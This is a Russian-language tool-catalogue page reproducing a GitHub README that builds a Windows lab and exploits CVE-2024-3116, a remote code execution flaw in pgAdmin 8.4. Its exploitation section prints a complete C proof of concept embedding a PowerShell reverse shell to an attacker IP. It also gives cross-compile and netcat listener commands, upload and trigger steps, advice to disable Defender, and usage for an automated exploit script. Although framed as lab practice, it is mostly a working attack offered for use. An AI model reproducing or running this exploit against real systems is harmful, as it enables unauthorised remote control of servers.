Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-3116_RCE_in_pgadmin_8.4 — Создание лаборатории и тестирование CVE-2024-3116 — удалённое выполнение кода в pgadmin <=8.4 | Kitploit
Инструменты/GitHubGitHub/techieneurons/cve-2024-3116_rce_in_pgadmin_8.4
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubtechieneurons/cve-2024-3116_rce_in_pgadmin_8.4

CVE-2024-3116_RCE_in_pgadmin_8.4

Создание лаборатории и тестирование CVE-2024-3116 — удалённое выполнение кода в pgadmin <=8.4

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
1322 лет назадЕщё не проверено

CVE-2024-3116_RCE_in_pgadmin_8.4

Создание лабораторного стенда и тестирование CVE-2024-3116 — удалённое выполнение кода в pgadmin <=8.4

В качестве основы я использовал эту статью.

Установка лабораторного стенда

Прежде всего, небольшое замечание: документация pgadmin довольно плохая, и я не нашёл ни одного упоминания об установке pgadmin на Windows...

  1. Автор сказал, что уязвимость присутствует только в Windows, поэтому я использую виртуальную машину Windows 11, предоставленную Microsoft (здесь)
  2. После установки виртуальной машины я устанавливаю python 3.10.0 (я пробовал 3.11 и 3.12, но возникали проблемы с зависимостями, так что остановимся на 3.10)
  3. Устанавливаю postgresql 16.2 (без pgadmin; в качестве пароля для postgresql я поставил password — в нашем случае это не очень важно)
  4. Рекомендуется устанавливать pgadmin в python virtualenv; я попробовал, но у меня не заработало, так что НАФИГ VENV!
  5. Обновляем pip: python -m pip install -U pip
  6. Устанавливаем wheel: python -m pip install wheel
  7. Скачиваем исходники: https://www.postgresql.org/ftp/pgadmin/pgadmin4/ > 8.4 > pip > скачиваем .whl файл
  8. Устанавливаем pgadmin4: python -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl
    • Папка установки: C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4
  9. Настраиваем:
    • В файле: C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4\config_local.py добавляем следующую строку:
    root@kitploit:~
    LOG_FILE = r'C:\Users\User\pgadmin4\log\pgadmin4.log'
    SQLITE_PATH = r'C:\Users\User\pgadmin4\pgadmin4.db'
    SESSION_DB_PATH = r'C:\Users\User\pgadmin4\sessions'
    STORAGE_DIR = r'C:\Users\User\pgadmin4\storage'
    SERVER_MODE = True 
    
    • Создаём папки, которых нет (pgadmin4\log, pgadmin4\sessions, pgadmin4\storage)
    • Создаём папку: C:\Users\User\AppData\Roaming\pgAdmin (необходима для setup.py)
    • В папке установки pgadmin4 (см. пункт 8) запускаем: python site-packages/pgadmin4/setup.py setup-db, я указал Email = [email protected] и Password = password (эти email и пароль важны, потому что они нужны для входа в pgadmin)

Затем веб-сервер:

  1. Устанавливаем XAMPP (можно снять все галочки, нужен только apache)
  2. Добавляем переменную окружения: MOD_WSGI_APACHE_ROOTDIR = C:/xampp/apache
  3. Устанавливаем mod-wsgi: pip install mod-wsgi
  4. Получаем конфигурацию: mod_wsgi-express module-config
  5. Копируем результат предыдущей команды в конец файла httpd.conf apache
  6. Наконец, запускаем сервер (из папки установки pgadmin): mod_wsgi-express start-server .\pgAdmin4.wsgi (должен быть доступен на порту 8000)

Эксплуатация

Я буду эксплуатировать уязвимость с машины Kali, которая находится в той же сети, что и pgadmin.

  • Kali = 192.168.112.128
  • Windows = 192.168.112.162

Ещё раз: этот эксплойт работает только против pgadmin на Windows! И для эксплуатации этой уязвимости необходима учётная запись действительного пользователя!

  1. Мне нужен reverse shell, поэтому я взял PoC из статьи, ссылка на которую приведена в начале этого файла, и подставил IP моей Kali для теста:
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
	if (argc > 1 && strcmp(argv[1], "--version") == 0) {
    	system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.112.128',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
	} else {
    	printf("Usage: %s --version\n", argv[0]);
	}
	return 0;
}
  1. Поскольку PoC — это C-программа для Windows, используем кросс-компилятор:
    • Установка кросс-компилятора: sudo apt-get install mingw-w64
    • Создаём файл с упомянутым выше PoC и компилируем: x86_64-w64-mingw32-gcc -o pg_restore poc.c компиляция для Windows из Linux
  2. Имя бинарного файла должно начинаться с pg_ (или быть psql), чтобы он был выполнен; это должен быть известный инструмент postgresql
  3. Запускаем Burp и настраиваем браузер на работу через Burp, чтобы видеть запрос на загрузку
  4. Загружаем файл через интерфейс (после входа под [email protected]): Tools > Import/Export Servers > «клик по иконке маленькой папки» > «клик по трём точкам в правом верхнем углу окна выбора файла и выбираем upload» > «выбираем бинарный PoC» запрос загрузки файла
  5. Для проверки заходим в Windows и в созданной нами папке хранения (C:\Users\User\pgadmin4\storage) видим файл
  6. ТАКЖЕ ОЧЕНЬ ВАЖНО: ответ на запрос загрузки содержит путь к загруженному exe-файлу, он понадобится позже
  7. Запускаем netcat (nc -lvnp 9001) для приёма отклика: ВАЖНО!!!!!!!!! Defender заблокирует выполнение бинарного файла (так что отключите Defender)
  8. Затем заходим в интерфейс и нажимаем: File > Preferences > Binary Paths, добавляем путь, полученный в ответе на загрузку файла, в текстовое поле напротив postgresql 16, и наконец нажимаем на иконку в текстовом поле, чтобы запустить PoC

Эксплойт

Я написал python-скрипт для автоматической эксплуатации этой уязвимости — почти ничего делать не нужно.

Что нужно знать перед использованием скрипта:

  • Нужен прокси для перехвата ответа на загрузку файла, чтобы передать скрипту путь к файлу. Лично я использую Burp.
  • Весь скрипт использует selenium, так что он вам понадобится (pip install selenium)
  • Скрипт выполняет команду для компиляции отправляемого бинарного файла, поэтому нужно установить кросс-компилятор: sudo apt-get install mingw-w64
  • Нужно запустить netcat в другом терминале с портом, на который вы хотите получить подключение (nc -lvnp <port>)
  • Скрипт даёт reverse shell

Для использования эксплойта выполните команду: python exploit_cve_2024_3116.py --email <pgadmin_user_email> --password <pgadmin_user_pass> --rhost <http://target_ip_or_domain> --rport <target_port> --lhost <listener_ip> --lport <listener_port>

Демонстрация

Небольшая демонстрация: https://youtu.be/zdMC3kbN0Is

Ссылки

Все эти ссылки помогли мне установить pgadmin на Windows:

  • https://www.digitalocean.com/community/tutorials/how-to-install-configure-pgadmin4-server-mode
  • https://www.pgadmin.org/docs/pgadmin4/development/server_deployment.html
  • https://pypi.org/project/mod-wsgi/
  • https://stackoverflow.com/questions/59801387/how-to-install-mod-wsgi-into-apache-on-windows
  • https://stackoverflow.com/questions/44670209/how-to-compile-c-code-in-linux-to-run-on-windows
Скачать инструмент
Enter binary path...
запрос, запускающий PoC
  • Наслаждаемся! полученный reverse shell